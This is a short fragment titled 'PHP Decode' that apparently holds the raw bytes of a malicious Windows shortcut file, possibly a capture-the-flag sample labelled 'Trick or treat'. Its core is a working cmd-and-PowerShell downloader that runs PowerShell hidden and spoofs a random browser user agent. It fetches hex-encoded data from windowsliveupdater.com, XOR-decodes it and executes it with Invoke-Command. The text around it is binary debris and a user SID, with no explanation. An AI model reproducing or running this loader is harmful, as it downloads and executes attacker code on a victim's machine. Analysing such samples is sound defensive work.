PHP Decode

<?  LF@FC5PO :i+00/C:\V1Windows@     .WindowsZ1system32B   .system32V2cmd.exe@  .cmd.exeTrick or treatC:/k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell1.0\*rshell.exe /s /b /od') do call %a -windowstyle hidden "$asvods ='';$UserAgents = @('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/15.15063','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko');$RandomUserAgent = $UserAgents | Get-Random;$WebClient = New-Object System.Net.WebClient;$WebClient.Headers.Add('User-Agent', $RandomUserAgent);$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');$vurnwos ='';for($i=0;$i -le $boddmei.Length-2;$i=$i+2){$bodms=$boddmei[$i]+$boddmei[$i+1];$decodedChar = [char]([convert]::ToInt16($bodms, 16));$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);$vurnwos = $vurnwos + $xoredChar};Invoke-Command -ScriptBlock ([Scriptblock]::Create($vurnwos));Invoke-Command -ScriptBlock ([Scriptblock]::Create($asvods));C:\Windows\System32\shell32.dll%SystemRoot%\System32\shell32.dll%SystemRoot%\System32\shell32.dll% 
                                                                wN]ND.Q      1SPSXFL8C&mm.S-1-5-21-3849600975-1564034632-632203374-1001 ?>